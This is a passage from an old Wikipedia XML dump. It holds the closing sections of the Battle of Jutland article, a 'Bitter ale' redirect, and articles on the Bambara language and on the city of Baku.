''Invincible'' inflicted two below-waterline hits on [[SMS Lützow|''Lützow'']] that would ultimately doom Hipper's flagship, but about 18:30 abruptly appeared as a clear target before [[SMS Lützow|''Lützow'']] and ''Derfflinger''. A series of 12 inch (305&amp;nbsp;mm) shells struck ''Invincible'', which blew up and split in two, killing all but six of her crew of 1,032 officers and men, including Rear Admiral Hood.

[[Image:British positions at Jutland.jpg|thumb|400px|Approximate positions of the British fleet at about 19:00 &amp;#x2779;, from ''The Fighting at Jutland'', edited by H. W. Fawcett and G. W. W. Hooper, circa 1921.]]

By 18:30 the main fleet action was joined for the first time, with Jellicoe effectively &quot;crossing Scheer's T&quot; &amp;#x2778;. Jellicoe's flagship ''Iron Duke'' quickly scored a series of hits on the lead German dreadnought, [[SMS König|''König'']], but in this brief exchange, which lasted only minutes, as few as ten of the Grand Fleet's twenty-four dreadnoughts actually fired shots. The Germans were hampered by poor visibility in addition to being in an unfavorable tactical position. Realizing he was heading into a trap, Scheer ordered his fleet to turn and flee at 18:33. Amid a pall of smoke and mist Scheer's forces succeeded in disengaging.

Conscious of the risks to his capital ships posed by torpedoes, Jellicoe did not seek chase but headed south, determined to keep the High Seas Fleet west of him. Scheer knew that it was not yet dark enough to escape and his fleet would suffer terribly in a stern chase, so at 18:55 he doubled back to the east &amp;#x2779;. In his memoirs he wrote, &quot;the manoeuvre would be bound to surprise the enemy, to upset his plans for the rest of the day, and if the blow fell heavily it would facilitate the breaking loose at night.&quot;

Commodore [[Goodenough]]'s 2nd Light Cruiser Squadron dodged the fire of German battleships for a second time in reestablishing contact with the High Seas Fleet shortly after 19:00. By 19:15, Jellicoe had crossed the &quot;T&quot; yet again &amp;#x277a;. This time his arc of fire was tighter and deadlier, causing severe damage to the Germans, particularly Rear-Admiral Behncke's leading 3rd Battle Squadron. At 19:17, for the second time in less than an hour, Scheer turned to the west, ordering a major torpedo attack by his destroyers and a &quot;death ride&quot; by Scouting Group I's four remaining battlecruisers &amp;mdash; [[SMS Lützow|''Lützow'']] being out of action and abandoned by Hipper &amp;mdash; to deter a British chase. In this portion of the engagement the Germans sustained thirty-seven heavy hits while inflicting only two, ''Derfflinger'' alone receiving fourteen. Nonetheless Scheer slipped away as sunset (at 20:24) approached. The last major engagement between capital ships took place as the surviving British battlecruisers caught up with their German counterparts, which were briefly relieved by Rear-Admiral Mauve's obsolete pre-dreadnoughts &amp;#x277b;. As [[HMS King George V (1911)|''King George V'']] and [[SMS Westfalen|''Westfalen'']] exchanged a few final shots, neither side could have imagined that the only encounter between British and German dreadnoughts in the entire war was already concluded.

At 21:00, Jellicoe, knowing of the Grand Fleet's deficiencies in night-fighting, hoped to avoid a major engagement until early dawn. He placed a screen of cruisers and destroyers behind his battle fleet to patrol the rear as he headed south to guard against Scheer's expected escape to Ems &amp;#x277c;. In reality Scheer opted to bypass his wake and escape via [[Horns Reef]]. Luckily for Scheer, Jellicoe's scouts failed to report his true course while Jellicoe himself was too cautious to judge from extensive circumstantial evidence that the Germans were breaking through his rear. While the nature of Scheer's escape and Jellicoe's inaction indicate the overall superiority of German night-fighting proficiency, the night battle's results were no more clear-cut than the battle as a whole. ''Southampton'', Commodore Goodenough's flagship, that had scouted so proficiently, was heavily damaged but managed to sink the German light cruiser [[SMS Frauenlob|''Frauenlob'']] which went down at 22:23 with all hands (320 officers and men). But at 02:00 on [[1 June]], ''Black Prince'' of the ill-fated 1st Cruiser Squadron met a grim fate at the hands of the battleship [[SMS Thüringen|''Thüringen'']], blowing up with all hands (857 officers and men) as her squadron leader [[HMS Defence|''Defence'']] had done hours earlier. At 02:10, flotillas of British destroyers launched torpedo runs on the German battle lines, and at the cost of five destroyers sunk and some others damaged, they managed to sink the predreadnought [[SMS Pommern|''Pommern'']] with all hands (844 officers and men), as well as to torpedo the light cruiser [[SMS Rostock|''Rostock'']] and causing another, [[SMS Elbing|''Elbing'']], to be rammed by the dreadnought [[SMS Posen|''Posen'']] and abandoned. The battlecruiser ''Lützow'' was scuttled at 01:45 after being abandoned by her 1,150 survivors. In addition to Jellicoe's caution, the Germans were helped by the failure of British naval intelligence in London to relay a critical radio intercept giving away the true position of the High Seas Fleet. By the time Jellicoe finally learned of Scheer's whereabouts at 04:15 it was clear the battle could no longer be resumed. There would be no &quot;[[Glorious First of June]]&quot; in 1916.

==Battle damage assessment==
[[Image:SMS Seydlitz damage.jpg|thumb|300px|SMS ''Seydlitz'' was heavily damaged in the battle, hit by twenty-one heavy shells and one torpedo. 98 men were killed and 55 injured.]]

[[Image:Marynarz Wilhelmshaven SMS Westfalen.jpg|thumb|200px|Member of crew of SMS Westfalen]]

The British lost fourteen ships including several battlecruisers totalling 111,000 tons and 6,094 men. The Germans lost eleven ships of 62,000 tons total and 2,551 men. Several other ships were badly damaged, such as HMS ''Lion'' and SMS ''Seydlitz''. At the end of the battle the British had twenty-four dreadnoughts and battlecruisers still able and ready to fight while the Germans had only ten. 

For the British, the outcome was a marginal tactical gain. Although they had lost several ships and had not destroyed the German fleet as intended, the Germans had retreated to port and the British were in command of the area. At a strategic level the outcome was more clear cut. The damaged British ships were restored to operational use quicker than the Germans and the High Seas Fleet did not leave port again. It remained active and a fighting force, however, and its presence as a [[fleet in being]] prevented a complete blockade of Germany.

British examination of their performance identified two main problems:

* Their armour-piercing shells exploded outside the German armour rather than penetrating and exploding within. As a result some German ships with only 8 inch (203 mm) of armour survived hits from 15 inch (381 mm) shells. Had these shells performed to design, coupled with the British accuracy of fire, German losses would probably have been greater.
* Communication between ships and the British commander in chief were poor. For most of the Battle Jellicoe had no idea where the German ships were, even though British ships were in contact. They failed to report positions contrary to the Grand Fleet Battle Plan. Some of the signalling was carried out by flag instead of wireless &amp;mdash; a questionable procedure given the mixture of haze and smoke that obscured the battlefield. 

===Battlecruiser design and handling===
The weak design and faulty use of the battlecruisers were important in the serious losses of the British. The battle is often regarded as demonstrating that the Royal Navy was technologically and operationally inferior to the German Navy. Jellicoe wrote in his despatch:

:&quot;The disturbing feature of the battle-cruiser action is the fact that five German battle-cruisers engaging six British vessels of this class, supported after the first twenty minutes, although at great range, by the fire of four battleships of the &quot;Queen Elizabeth&quot; class, were yet able to sink ''Queen Mary'' and ''Indefatigable'' … The facts which contributed to the British losses were, first, the indifferent armour protection of our battle-cruisers, particularly as regards turret armour and deck plating, and, second, the disadvantage under which our vessels laboured in regard to the light … The German organisation at night is very good. Their system of recognition signals is excellent. Ours is practically nil. Their [[searchlight]]s are superior to ours and they use them with great effect. Finally, their method of firing at night gives excellent results. I am reluctantly compelled to the opinion that under night conditions we have a good deal to learn from them&quot;.

During the summer of 2003, a diving expedition examined the wrecks of ''Invincible'', ''Queen Mary'', ''Defence'', and ''Lützow'' to investigate the cause of the British ships' tendency to suffer from internal explosions. On this evidence, a major part of the blame may be laid on lax handling of the [[cordite]] propellant for the shells of the main guns. This, in turn, was a product of current British naval doctrine, which emphasised a rapid rate of fire in the direction of the enemy rather than slower, more accurate fire. In practice, the cordite could not be supplied to the guns rapidly enough through the hoists and hatches; in order to bring up the propellant for the next broadside before the time when it had to be loaded, many safety doors which should have been kept shut to safeguard against flash fires were open. Furthermore, whereas the German propellant ''RP C/12'' was supplied in brass cylinders, British cordite was supplied in silk bags, making it more susceptible to flash fires. The doctrine of a high rate of fire also led to the decision in 1913 to increase the supply of shells and cordite held on the British ships by 50 per cent, for fear of running out of ammunition; when this caused the capacity of the ships' magazines to be exceeded, cordite was stored in insecure places.

The memoirs of Alexander Grant, gunner on ''Lion'', show that some British officers were well aware of the dangers of careless handling of cordite:

:&quot;With the introduction of cordite to replace powder for firing guns, regulations regarding the necessary precautions for handling explosives became unconsciously considerably relaxed, even I regret to say, to a dangerous degree throughout the Service. The gradual lapse in the regulations on board ship seemed to be due to two factors. First, cordite is a much safer explosive to handle than gun-powder. Second, but more important, the altered construction of the magazines on board led to a feeling of false security … The iron or steel deck, the disappearance of the wood lining, the electric lights fitted inside, the steel doors, open because there was now no chute for passing cartridges out; all this gave officers and men a comparative easiness of mind regarding the precautions necessary with explosive material&quot;.

After the battle the [[Admiralty]] produced a report critical of the cordite handling practices. By this time, however, Jellicoe had been promoted to [[First Sea Lord]] and Beatty to command of the Grand Fleet; the report, which indirectly placed part of the blame for the disaster on the fleet's officers, was suppressed.

The battle showed that the British concept and use of the [[battlecruiser]] was wholly flawed. The battlecruiser had been designed according to [[John Fisher, 1st Baron Fisher|Jackie Fisher]]'s dictum that &quot;speed is armour&quot;. They were intended to be faster than battleships, with superior [[fire-control system|fire control]], and able to pound enemy cruisers at ranges at which the enemy could not reply. But at Jutland they were not used in this fashion &amp;mdash; and indeed, British [[fire-control system|fire control]] was not sufficiently developed to permit them to be so used &amp;mdash; but instead closed recklessly with enemy battleships while lacking the armour to stand up to the pounding they received.

===The Jellicoe controversy===
At the time Jellicoe was criticised for his caution and for allowing Scheer to escape. Beatty in particular was convinced that Jellicoe had missed a tremendous opportunity to win another [[battle of Trafalgar|Trafalgar]] and annihilate the High Seas Fleet. Jellicoe's career stagnated; he was promoted away from active command to become [[First Sea Lord]], while Beatty replaced him as commander of the [[British Grand Fleet]].

The controversy raged within the navy for about a decade after the war. Criticism focused on Jellicoe's decision at 19:15. Scheer had ordered his cruisers and destroyers forward in a torpedo attack to cover the turning away of his battleships. Jellicoe chose to turn away to the southeast and so keep out of range of the torpedoes. If Jellicoe had instead turned to the west, could his ships have dodged the torpedoes and destroyed the German fleet? Supporters of Jellicoe, including the naval historian [[Julian Corbett]], pointed out the folly of risking defeat in battle when you already have the command of the seas. (Corbett's volume of the official history of the war, ''Naval Operations'', contains the extraordinary disclaimer, &quot;Their Lordships find that some of the principles advocated in the book, especially the tendency to minimise the importance of seeking battle and forcing it to a conclusion, are directly in conflict with their views.&quot;)

Whatever one thinks of the result, it is true that the stakes were very high, the pressure on Jellicoe was immense, and his caution is certainly understandable - his judgement might have been that even 90% odds in favour were not good enough on which to bet the British Empire. The former [[First Lord of the Admiralty]] [[Winston Churchill]], said of the battle that Jellicoe &quot;was the only man who could have lost the war in an afternoon.&quot; The criticism of Jellicoe also fails to give enough credit to Scheer, who was determined to preserve his fleet by avoiding a decisive engagement, and showed great skill in effecting his escape.

===Beatty's actions===
There is another school of thought that condemns the actions of Admiral Beatty for the failure of a complete British victory. Although Beatty was undeniably a brave man, his [[encounter action]] with the German High Seas Fleet almost cost the British the battle. Most of the British losses in tonnage occurred in Beatty's squadron. The three capital ships the British lost that day were all under the command of Beatty. Beatty used his battle cruisers in a manner for which they were not designed. They had been anticipated for use as cruiser-destroyer, rather than for a direct attack on larger and better armored dreadnought battleships. A battlecruiser in a slugging match against a dreadnought battleship was at a decisive disadvantage.

Additionally, Beatty's lack of control over the encounter action is often criticised. Beatty did not apparently appreciate the finer points of command and control over a naval engagement. Beatty was on-board the battlecruiser ''Lion'' and lost contact with his four dreadnought battleships. Having the battlecruisers attack the German High Seas Fleet without the cover of the Queen Elizabeth super-dreadnoughts was a grave blunder. It both exposed the weakly armored battlecruisers and split his forces. Beatty's political influence in England prevented more criticism than took place at the time. Jellicoe's orderly attack on the Germans saved the day, according to proponents of this school of thought, and most probably Beatty's life.

==Losses==
===British===
*Battlecruisers [[HMS Indefatigable (1909)|''Indefatigable'']], [[HMS Queen Mary|''Queen Mary'']], [[HMS Invincible (1907)|''Invincible'']]
*Armoured cruisers [[HMS Black Prince (1904)|''Black Prince'']], [[HMS Warrior (1905)|''Warrior'']], [[HMS Defence (1907)|''Defence'']]
*Flotilla Leaders [[HMS Tipperary (1914)|''Tipperary'']] 
*Destroyers [[HMS Shark (1912)|''Shark'']], [[HMS Sparrowhawk (1912)|''Sparrowhawk'']], [[HMS Turbulent (1916)|''Turbulent'']], [[HMS Ardent (1913)|''Ardent'']], [[HMS Fortune (1913)|''Fortune'']], [[HMS Nomad (1916)|''Nomad'']], [[HMS Nestor (1915)|''Nestor'']]

===German===
*Battlecruiser [[SMS Lützow|''Lützow'']]
*'''Pre-Dreadnought''' [[SMS Pommern|''Pommern'']]
*Light cruisers [[SMS Frauenlob|''Frauenlob'']], [[SMS Elbing|''Elbing'']], [[SMS Rostock|''Rostock'']], [[SMS Wiesbaden|''Wiesbaden'']]
*(Heavy Torpedo Boats) Destroyers ''V48'', ''S35'', ''V27'', ''V4'', ''V29''

==Order of battle==
See [[Order of battle at Jutland]].

==External links==
*Beatty's [http://www.gwpda.org/1916/jutlandb.html official report]
*Jellicoe's [http://www.gwpda.org/naval/jut02.htm official despatch]
*Jellicoe, [http://www.richthofen.com/jellicoe/ extract from ''The Grand Fleet''], published 1919
*Scheer, [http://www.richthofen.com/scheer/ ''Germany's High Seas Fleet in the World War''], published 1920

Notable accounts:
*[http://www.lib.byu.edu/~rdh/wwi/1916/jutland.html by Rudyard Kipling]
*[http://www.worldwar1.co.uk/grant.htm by Alexander Grant], a gunner aboard HMS ''Lion''
*[http://www.gwpda.org/naval/jut01.htm by Moritz von Egidy], captain of SMS ''Seydlitz''
*[http://www.gwpda.org/naval/foeseyd.htm by Richard Foerster], gunnery officer on ''Seydlitz''
*[http://www.wtj.com/archives/hase_03.htm by Georg von Hase], gunnery officer on ''Derfflinger''
(Note that due to the [[time zone]] difference, the times in some of the German accounts are two hours ahead of the times in this article.)

==References==
* Robert K. Massie, ''Castles of Steel: Britain, Germany, and the Winning of the Great War at Sea'', Random House, 2003, ISBN 0-345-40878-0
* John Campbell, ''Jutland: An Analysis of the Fighting'', Lyons Press [http://webpages.charter.net/abacus/news/jutland/cont.htm].
* [[Andrew Gordon (naval historian)|Andrew Gordon]], ''The Rules of the Game: Jutland and British Naval Command'', London: John Murray, 1996.
* Charles London, ''Jutland 1916'', Clash of the Dreadnoughts; Osprey Campaign Series #72, Osprey Publishing, 2000.
* V. E. Tarrant, ''Jutland: The German Perspective &amp;mdash; A New View of the Great Battle'', Weidenfeld &amp;amp; Nicholson.
* Nigel Steel and Peter Hart, ''Jutland 1916: Death in the Grey Wastes'', Cassell.

{{featured article}}

{{World War I}}

[[Category:1916]]
[[Category:Naval battles of World War I|Jutland]]

{{Link FA|de}}

[[ca:Batalla naval de Jutlàndia]]
[[da:Søslaget ved Jylland]]
[[de:Skagerrakschlacht]]
[[el:Ναυμαχία της Γιουτλάνδης]]
[[fr:Bataille du Jutland]]
[[he:קרב יוטלנד]]
[[ms:Pertempuran Jutland]]
[[nl:Zeeslag bij Jutland]]
[[no:Slaget ved Jylland]]
[[ja:ユトランド沖海戦]]
[[pl:Bitwa jutlandzka]]
[[pt:Batalha da Jutlândia]]
[[fi:Skagerrakin meritaistelu]]
[[sv:Slaget vid Jylland]]
[[zh:日德兰海战]]</text>
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  <page>
    <title>Bitter ale</title>
    <id>4564</id>
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      <id>15902826</id>
      <timestamp>2004-07-17T13:27:41Z</timestamp>
      <contributor>
        <username>Harry R</username>
        <id>63691</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Bitter (beer)]]</text>
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  <page>
    <title>Bambara language</title>
    <id>4565</id>
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      <id>42042209</id>
      <timestamp>2006-03-03T11:48:45Z</timestamp>
      <contributor>
        <ip>61.124.72.237</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Language
|familycolor=Niger-Congo
|name=Bambara
|nativename=Bamanankan
|states=[[Mali]], [[Burkina Faso]], [[Côte d'Ivoire]]
|region=central southern Mali and abroad
|speakers=2,700,000 (several millions more including second language speakers)
|fam2=[[Mande languages|Mande]]
|fam3=West Mande
|fam4=[[Manding languages|Manding]]
|iso1=bm|iso2=bam|iso3=bam}}

'''Bambara''', also known as '''Bamanankan''' in the language itself, is a [[language]] spoken in [[Mali]] by as many as six million people (including second language users). The differences between Bambara and '''Dioula''' are minimal. Dioula is a language spoken or understood, by fewer numbers of people, in [[Burkina Faso]], [[Côte d'Ivoire]], and [[Gambia]].  The Bambara language is primarily spoken by members of the [[Bambara]] ethnic group, numbering about 270,000 people, but serves also as an interethnic language of Mali. 

Bambara belongs to a group of closely-related languages called [[Manding languages|Manding]], within the larger [[Mande languages|Mandé]] group. It is an [[Subject Object Verb|SOV]] language and has two [[tone (tonal language)|tone]]s.
It uses seven vowels a, e, &amp;#603;, i, o, &amp;#596; and u (a like in car, e like in echo, &amp;#603; similar to the second e in echelon but more open, i like in India, o like in for, &amp;#596; like the final sound in gnaw, and u like in the name Honolulu).
Writing was introduced during the [[French colonial empire|French]] occupation and alphabetisation is a major issue especially in rural areas. Although written literature is only slowly evolving (due to the predominance of French as the &quot;language of the educated&quot;), there exists a wealth of [[oral history|oral literature]], which is often tales of kings and heroes. This oral literature is mainly tradited by the &quot;[[Griot]]&quot; who are a mixture of [[storyteller]]s, [[partysinger]]s and human history books who have studied the trade of singing and reciting for many years. Many of their songs are very old and are said to date back to the old kingdom of Mali.
Bambara is a national language of Mali, and also the most widely understood language in Mali.

Bambara has many local dialects. Some dialect variants: Somono, Segou, San, Beledugu, Ganadugu, Wasulu and Sikasso.

==Dioula==
Dioula is related to Bambara in a manner similar to the relation between [[American English]] and [[British English]]. It's probably the most used language for trade in [[West Africa]].

==Writing==
Since the seventies Bambara has mostly been written in the Latin alphabet, using some additional phonetic characters. The vowels are ''a, e, &amp;#603;'' (formerly ''è''), ''i, o, &amp;#596;'' (formerly ''ò''), ''u''; accents can be used to indicate tonality. The former digraph ''ny'' is now written ''&amp;#626;'' or ''ñ'' (Senegal). The ambiguous digraph &quot;ng&quot; represented both the &quot;hard ng&quot; sound in &quot;finger&quot; and the &quot;ng&quot; in &quot;king.&quot; The 1966 Bamako spelling conventions render the latter sound as &quot; &amp;#331;&quot;

[[N'Ko]] is a script devised by [[Solomana Kante]] in [[1949]] as a writing system for the Mande languages of West Africa; N&amp;#8217;Ko means 'I say' in all Mande languages. Kante created N&amp;#8217;Ko in response to what he felt were beliefs that Africans were a &quot;cultureless people&quot; since there was prior to this time, no indigenous African writing system for his language. N'ko came first into use in Kankan, Guinea as a Maninka alphabet and disseminated from there into other Mande-speaking parts of West Africa. The script is still in use for Bambara, although the Latin alphabet is much more common.

There are some &lt;!--or just one? [[User:Guaka|G-u-a-k-@]] hasn't found any yet, after nearly 3 months in Bamako.. :( --&gt; newspapers in Bambara.

==Grammar==
Bambara belongs to a group of closely-related languages called Manding (related to  [[Mandinka language|Mandinka]], [[Mande]] language group). It is an [[Subject Object Verb|SOV]] language and has two [[tone (tonal language)|tone]]s. The subject is usually &lt;!-- always? --&gt; followed by an auxilary verb (see [http://fr.wiktionary.org/wiki/Cat%C3%A9gorie:Auxiliaires_bambaras auxilaries in Wiktionary]) possibly followed by the object and finally the verb.

In [[mathematical linguistics]] Bambara is regarded with interest, since for only very few languages it was possible to show that they were not [[context-free]].  For [[Swiss German|Zurich German]] and [[Dutch language|Dutch]] the proof is based on sentence construction, whereas the proof for Bambara is based on word construction.

Bambara has no gender.  Gender for a noun can be specified by adding a suffix, ''-ce'' or ''-ke'' for male and ''-muso'' for female. The plural is formed by attaching ''-w'' to words. Sentences usually contain auxilary verbs.

Bambara uses postpositions, like &quot;bolo&quot; to indicate directions. Many postpositions are based on nouns, &quot;bolo&quot; also means ''hand''.

In urban areas, many Bambara conjunctions have been replaced in everyday use by French borrowings that often mark code-switches. The [[Bamako]] dialect makes use of sentences like: ''N taara Kita mais il n'y a personne là-bas.'' : ''I went to Kita [Bambara] but there was no one there [French].'' The sentence in Bambara alone would be ''N taara Kita nka mògòsi tuntè yen.'' The French proposition &quot;est-ce-que&quot; is also used in Bambara, however it is pronounced more slowly and as three syllables; &quot;ess uh kuh&quot;.

Bambara uses many French loan words. For example, some people might say: 
''I ka kulosi ye jauni ye'': &quot;Your skirt is yellow&quot; (using a derivation of the French word for yellow, jaune.)

However, one could also say:
''I ka kulosi ye neremuguman ye'', also meaning &quot;your skirt is yellow.&quot; The original Bambara word for yellow comes from &quot;''neremugu'',&quot; ''mugu'' being flour made from [[nere]], a seed from a long seed pod. Neremugu is often used in sauces in Southern Mali.

Most French loan words are suffixed with the sound 'i'; this is particularly common when using French words which have a meaning not traditionally found in Mali. For example, the Bambara word for [[snow]] is ''niegei'', based on the French word for snow ''neige''. As there has never been snow in Mali, there has not been a traditional meaning for the word and thus no unique word in Bambara to describe it.

===Examples===
;''N bè bamanankan fo dòòni dòòni''
:I speak a little bit of Bambara (litt: I ''aux positive'' Bambara speak little little)

;''I tè taa dumuni kè wa?''
:Aren't you going to eat? (litt: you ''aux negative'' go eat ''action'' ''question particle'')

==Music==
Malian artists such as [[Salif Keita]], [[Habib Koité]], and the blind couple [[Amadou &amp; Mariam]] often sing in Bambara.
[[Alpha Blondy]] often sings in Dioula.

[[Tiken Jah Fakoly]] (reggae) often sings in Dioula and French.

==Bibliography==
*Bird, Charles &amp; Kanté, Mamadou (1977) ''Bambara-English, English-Bambara student lexicon''. Bloomington: Indiana Univ. Linguistics Club.
*Kastenholz, Raimund (1998) ''Grundkurs Bambara (Manding) mit Texten'' (second revised edition) (Afrikawissenschaftliche Lehrbücher Vol. 1). Köln: Rüdiger Köppe.
*Konaré, Demba (1998) ''Je parle bien bamanan''. Bamako: Jamana.
*Touré, Mohamed &amp; Leucht, Melanie (1996) ''Bambara Lesebuch: Originaltexte mit deutscher und französischer Übersetzung = Chrestomathie Bambara: textes originaux Bambara avec traductions allemandes et françaises'' (with illustrations by Melanie Leucht) (Afrikawissenschaftliche Lehrbücher Vol. 11) . Köln: Rüdiger Köppe.

==External links==
{{InterWiki|code=bm}}
{{Wikibookspar||Bambara}}
* [http://mali.pwnet.org/history/history_language.htm Mali - History - Language]
*[http://www.rosettaproject.org/archive/niger-congo/africa/bra/view?searchterm=Bambara The Rosetta Project]
*[http://wikitravel.org/en/article/Bambara_phrasebook Bambara phrasebook at Wikitravel]
*[http://fr.wikibooks.org/wiki/Bambara Bambara at French Wikibooks] contains more material
*[http://fr.wiktionary.org/wiki/Category:bambara Bambara entries (&gt;1000) in the French Wiktionary]
*[http://www.vjf.cnrs.fr/clt/php/va/Page_revue.php?ValCodeRev=MDK Mandenkan Journal]
&lt;!-- {{Wikibookspar||Bambara}} ugly, since it ruins layout--&gt;


[[Category:Mande languages]]
[[Category:Languages of Mali]]
[[Category:Languages of Burkina Faso]]
[[Category:Languages of Côte d'Ivoire]]
[[Category:Tonal languages]]

[[bg:Диула]]
[[bm:Bamanankan]]
[[de:Bambara]]
[[fr:Bambara]]
[[ja:バンバラ語]]
[[nl:Bambara]]
[[fi:Bambara]]
[[zh:班巴拉语]]</text>
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    <title>Baku</title>
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      <timestamp>2006-03-01T09:57:03Z</timestamp>
      <contributor>
        <username>Brandmeister</username>
        <id>276745</id>
      </contributor>
      <comment>+coat of arms, img cap</comment>
      <text xml:space="preserve">{{Otheruses2|Baku}}
[[Image:Bak ca.jpg|right|frame|The city coat of arms]] 
[[Image:Baku-satellite view.jpg|thumb|200px|Satellite view of Baku]] 
[[Image:Azerbaijan-Baki.png|thumb|150px|The Baku harbour on the south of Absheron peninsula]]
[[Image:Baku_Maiden_Tower.jpg|thumb|right|150 px|The [[Maiden Tower (Baku)|Maiden Tower]] in old town Baku]]
'''Baku''' ([[Azerbaijani]]: Bakı), sometimes known as '''Baky''' or '''Baki''', is the [[capital]] of the Republic of [[Azerbaijan]].  It is located on the southern shore of the [[Absheron|Apsheron Peninsula]], at {{coor dm|40|23|N|49|52|E|}}.  Modern Baku consists of three parts: the Old Town (&amp;#304;ç&amp;#601;ri &amp;#350;&amp;#601;h&amp;#601;r), the boomtown and the [[Soviet Union|Soviet]]-built town.  Population ([[2003]] census): 1,900,000.  About 3 million people in metropolitan area (due to large numbers of [[refugee]]s and [[internally displaced person]]s).

The boomtown, south of the old city, was built after massive [[petroleum]] exploitation began nearly a century ago and has interesting beaux-arts architecture.  Fine arts, history and literature museums are located there, all housed in the mansions of pre-[[Russian Revolution of 1917|Revolutionary]] millionaires. 

Modern Baku spreads out from the city walls, its streets and buildings rising up hills that rim the Bay of Baku.  Greater Baku is divided into 11 districts and 48 townships.  Among these are townships on [[island]]s in the bay and one island town built on stilts in the [[Caspian Sea]], 50-100 kilometres from Baku proper (the so-called Oil Rocks). 

==History==
[[Image:Baku 1.jpg|thumb|150 px|left|A view of Baku from the top of Maiden's Tower]]
Baku's name is thought to orginate from one of two [[Persian language|Persian]] phrases: ''Bagh-Kuh'' (&quot;Mount of God&quot;) and ''bad kube'' (&quot;city of winds&quot;). 

The history of Baku dates back to [[1st millennium BCE]], with the earliest written evidence from [[6th century|6th century CE]], however.  The city was the location of an important [[Agiary|fire temple]] of the [[Persian Empire|Persian]] religion of [[Zoroastrianism]], which was prevalent before the [[Islamic conquest of Iran]]. 

The first written reference to Baku dates from [[885]], although [[archaeology|archaeologists]] have found remains of a settlement predating by several centuries the birth of [[Jesus]]. The city became important after an earthquake destroyed [[Shemakha]] and in the [[12th century]], leading [[Shirvanshah]] [[Ahistan I]] to made Baku the new capital. In [[1813]], Russia signed the [[Treaty of Gulistan]] with Persia, which provided for the cession of Baku and most of the [[Caucasus]] from [[Iran]] and their annexation by [[Russia]].

The center of Baku is the old town, which is also a fortress.  In December 2000, the &quot;[[walled city|Walled City]] of Baku with the Shirvanshah's Palace and Maiden Tower&quot; (called the &quot;inner town&quot;) became the first location in Azerbaijan classified as a [[World Heritage Site]] by [[UNESCO]].  Most of the walls and towers, strengthened after the Russian conquest in [[1806]], survive.  This section is picturesque, with its maze of narrow alleys and ancient buildings.  Wander the cobbled streets past the [[Palace of the Shirvanshahs]], two [[caravansaraies]] (ancient inns), the [[11th century]] [[Maiden Tower (Baku)|Maiden Tower]] (nice view of the harbor), the baths and the [[Djuma Mosque]] (it used to house the Carpet and Applied Arts Museum, but now is a [[mosque]] again; the carpets got moved to the former [[Lenin]] museum).  The old town also has dozens of small mosques, often without any particular sign to distinguish them from the next building. 

During [[World War II]] ten defense zones were built around the city to prevent possible German invasion.

The [[Martyrs' Cemetery]], formerly the Kirov park, is dedicated to the memory of those who lost their lives during the [[war]] with [[Armenia]] and also to the 137 people who were killed on [[January 19]] and [[January 20|20]], [[1990]] when Soviet tanks and troops took to the streets of Baku.  Photographs of victims featured on each [[tombstone]] are sobering and poignant.  Now [[20 January]] has become a [[national holiday]] of deep emotional meaning.

In [[2003]], UNESCO placed the Walled City on the [[List of World Heritage Sites in danger|List of World Heritage in Danger]], citing damage from a November 2000 earthquake, poor conservation as well as &quot;dubious&quot; restoration efforts.[http://whc.unesco.org/en/list/958]

==Climate==
The climate is hot and dry in the summer, cool and wet in the winter, when gale-force winds sweep through on occasion, driven by masses of polar air; however, snow is rare at 28 metres below sea level, and temperatures on the coast rarely drop to freezing.

Baku is situated on the western shore of the [[Caspian Sea]] and is Azerbaijan's largest city, one of very few places where Soviet citizens could actually enjoy beaches or relax in now-dilapidated spa complexes overlooking the salty Caspian Sea.  The old Inturist Hotel was one of Baku's largest, now being renovated, but overshadowed by the newer Hyatt Park, Hyatt Regency, Park Inn and Excelsior.

==Economy==
The basis of Baku's economy is [[petroleum]]. The existence of petroleum has been known since the [[8th century]].  By the [[15th century]] oil for lamps was obtained from hand dug surface wells.  Commercial exploitation began in [[1872]], and by the beginning of the [[20th century]] the Baku oil fields were the largest in the world.  Towards the end of the 20th century much of the onshore petroleum had been exhausted, and drilling had extended into the sea offshore.  Baku ranked as one of the largest centres for the production of oil industry equipment before WWII.  The [[World War II]] [[Battle of Stalingrad]] was fought to determine who would have control of the Baku oil fields.  Fifty years before the battle, Baku produced half of the world's oil supply: Azerbaijan and the United States are the only two countries ever to have been the world's majority oil producer.  Currently the oil economy of Baku is undergoing a resurgence, with the development of the massive Azeri Chirag Gunashli field (Shallow water Gunashli by SOCAR, deeper areas by a consortium lead by BP) and the Shah Deniz gas field.  As the largest town in the country, the city is served by the [[Heydar Aliyev International Airport]].

==Famous people from Baku==
Prominent [[Chess]] [[International Grandmaster|Grandmaster]]s hailing from Baku include [[Garry Kasparov]] and [[Teimour Radjabov]]

[[Lev Davidovich Landau]] [http://nobelprize.org/physics/laureates/1962/landau-bio.html] was born in Baku on [[January 22]] [[1908]].  He won  The Nobel Prize in Physics in 1962 for his pioneering theories for condensed matter, especially liquid helium.

[[Mstislav Rostropovich]] [http://www.bakupages.com/enc-show.php?cmm_id=0&amp;id=172&amp;c=938] was born in Baku on [[March 27]] [[1927]].  He is one of the most esteemed cellists of his generation.

[[Richard Sorge]] [http://www.bakupages.com/enc-show.php?cmm_id=0&amp;id=171&amp;c=938], one of the greatest spies in modern history, was born in 1895 in Baku. Acting as a German journalist in Germany, China and Japan he passed vital information to the Soviet intelligence agencies.

[[Genrich Altshuller]] lived and worked in Baku since he was 5 years old.  Genrich Altshuller is the father of [[TRIZ]] (TIPS) system, inventor and author.

[[Lotfi Zadeh]], inventor of [[fuzzy logic]], was born in Baku on [[4 February]] [[1921]], grew up in Iran, and is now (2005) a professor of computer science at [[University of California, Berkeley]].

[[Kerim Kerimov]], head of [[Soviet space program]] for 25 years and one of the founders of the Soviet space industry, was born in Baku on [[14 November]] [[1917]]. 

For a more detailed list, see [[List of Azerbaijanis]].

==External links==
*[http://whc.unesco.org/en/list/958 UNESCO World Heritage Site listing: &quot;Walled City of Baku with the Shirvanshah's Palace and Maiden Tower&quot;]
*[http://www.baku-vision.com/ Info on Baku]
*[http://www.bakupages.com Baku Pages]
*[http://www.usembassybaku.org American Embassy in Baku Azerbaijan]
*[http://www.britishembassy.gov.uk/servlet/Front?pagename=OpenMarket/Xcelerate/ShowPage&amp;c=Page&amp;cid=1056117176152 British Embassy in Baku Azerbaijan]
*[http://www.emporis.com/en/il/pc/?id=100196&amp;aid=3&amp;sro=1 Baku in Emporis]
*[http://www.encyclopedia.com/html/B/Baky.asp Baku now known as Baky]

{{Azerbaijan}}

[[Category:Baku]]
